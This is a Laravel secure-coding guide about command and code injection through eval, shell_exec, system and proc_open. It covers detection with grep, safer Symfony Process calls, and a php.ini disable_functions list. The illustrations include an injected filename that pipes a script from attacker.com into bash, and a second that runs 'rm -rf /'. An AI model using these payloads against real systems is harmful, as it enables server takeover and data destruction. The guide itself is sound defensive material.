Laravel Dangerous Function Calls: How to Eliminate eval, shell_exec, and system from Your Codebase
Functions like eval(), shell_exec(), system(), and proc_open() execute arbitrary code. If reachable from user input, they give attackers full server access.
Dangerous sink functions are PHP functions that execute operating system commands or raw PHP code. Functions like eval(), shell_exec(), system(), and proc_open() bridge your application and the underlying OS. They exist because legitimate use cases exist: generating PDFs with wkhtmltopdf, processing images with ImageMagick, running git commands. The vulnerability emerges when user-controlled input reaches these functions.
When an attacker finds a path from request input to a dangerous sink, they inject shell metacharacters to execute arbitrary commands. A filename like report.pdf becomes report.pdf; curl http://attacker.com/shell.sh | bash once semicolons are allowed. The attacker's command runs with the web server's privileges, granting access to read files, establish persistence, exfiltrate data, or pivot to internal systems.
Remote code execution through dangerous sinks is the highest-severity vulnerability class. Real applications have been fully compromised through image processing pipelines, shell-based PDF generators, and deployment trigger endpoints. The Symfony Process component — which Laravel uses internally — prevents shell metacharacter injection by accepting command arguments as arrays, bypassing the shell entirely. This should always be the preferred approach when system command execution is genuinely necessary.
The Problem
Dangerous sink functions — eval(), shell_exec(), system(), exec(), proc_open(), passthru(), and popen() — execute arbitrary system commands or PHP code. If any user input reaches these functions without strict sanitization, an attacker can execute any command on your server: reading files, installing backdoors, or pivoting to other systems. Even indirect paths through variable concatenation or string interpolation create exploitable attack vectors.
How to Fix
-
1
Find all dangerous function calls in your codebase
Search for dangerous functions across your project:
grep -rn 'eval\|shell_exec\|system\|exec\|proc_open\|passthru\|popen\|pcntl_exec' app/ routes/ resources/Also check for backtick operator usage:
grep -rn '`.*\$' app/Document each occurrence and trace whether user input can reach it.
-
2
Replace with safe Laravel alternatives
Laravel provides safe alternatives for most use cases:// Instead of shell_exec('git log') use Symfony\Component\Process\Process; $process = new Process(['git', 'log', '--oneline', '-10']); $process->run();// Instead of exec('convert image.png ...') use Intervention\Image\Facades\Image; Image::make($path)->resize(300, 200)->save();// Instead of eval() for dynamic logic use a strategy pattern, config-driven behavior, or Blade::render()The Symfony Process component is preferred because it uses array arguments, preventing shell injection by design. -
3
If you must use process execution, sanitize strictly
When shell commands are unavoidable, never pass user input directly:
// DANGEROUS shell_exec('ffmpeg -i ' . $request->input('file'));// SAFE — use escapeshellarg for each argument $file = escapeshellarg($validated['file']); shell_exec('ffmpeg -i ' . $file);// SAFEST — use Symfony Process with array arguments use Symfony\Component\Process\Process; $process = new Process(['ffmpeg', '-i', $validated['file']]); $process->setTimeout(60); $process->run();Array-based process execution prevents shell metacharacter injection entirely. -
4
Disable dangerous functions in php.ini
On production servers, disable functions you never need:
; php.ini disable_functions = eval,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
Note: Some packages legitimately need exec() or proc_open() (like Symfony Process). Only disable functions your application does not require. Test thoroughly after making changes.
How to Verify
Run the Stackshield scanner:
php artisan stackshield:scan --check=SS003
Manually verify by searching for dangerous functions:
grep -rn 'eval(\|shell_exec(\|system(' app/ --include='*.php'
Any remaining occurrences should be documented with justification and wrapped in strict input validation.
Prevention
Add a PHPStan or Psalm rule to flag dangerous function calls in CI. Use Symfony Process for all external command execution. Never concatenate user input into shell commands. Use StackShield to continuously scan for new dangerous sink introductions.
Frequently Asked Questions
Is escapeshellarg() enough to prevent command injection?
escapeshellarg() prevents most injection attacks by wrapping the argument in single quotes and escaping existing quotes. However, it has edge cases on Windows and doesn't protect against all attack vectors. The Symfony Process component with array arguments is the safest approach.
What about eval() in Blade templates?
Blade compiles to PHP with eval-like behavior internally, but this is safe because template code is developer-controlled. The danger is using eval() directly in controllers or services with user-supplied strings. Never do eval($request->input('code')).
Can attackers exploit shell_exec() if I only pass a filename?
Yes. A filename like "file.png; rm -rf /" contains a shell metacharacter (;) that terminates the first command and starts a new one. Always use escapeshellarg() or array-based Process execution, even for seemingly safe values like filenames.
Is Artisan::call() considered a dangerous sink?
No. Artisan::call() invokes Laravel console commands within the PHP process and does not execute OS shell commands. It is safe to call dynamically as long as the command name itself is validated against an allowlist of known commands, preventing an attacker from triggering arbitrary artisan commands.
Can I use proc_open() safely?
Yes, with array-based command arguments. Pass the command as an array: proc_open(["ffmpeg", "-i", $input], ...) instead of a shell string. Array-based invocation bypasses the shell entirely, preventing metacharacter injection regardless of what the input contains. The Symfony Process component wraps this pattern and is the recommended approach.
What is the difference between command injection and code injection?
Command injection occurs through shell-executing functions (shell_exec, system) where attackers insert shell metacharacters to run OS commands. Code injection occurs through eval() where attackers inject PHP code that executes in the PHP process. Both result in arbitrary execution but through different mechanisms. eval() is almost never legitimate in application code; shell-executing functions can be safe when used with array-based Process execution.
Related Security Terms
Related Guides
How to Prevent SQL Injection in Laravel
SQL injection vulnerabilities in raw queries and improper Eloquent usage can expose your database. Learn how to write secure queries.
Laravel XSS Prevention Guide: Blade Escaping, {!! !!} Risks & CSP Headers
Prevent cross-site scripting in Laravel. Learn when {!! !!} is safe, how to sanitize HTML input, encode output in Blade templates, and add Content Security Policy headers.
Laravel File Upload Security: How to Validate Type, Size, and Storage Location
File uploads without type or size validation let attackers upload PHP shells, oversized files, or executable scripts that compromise your server.
Is your Laravel app exposed right now?
34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.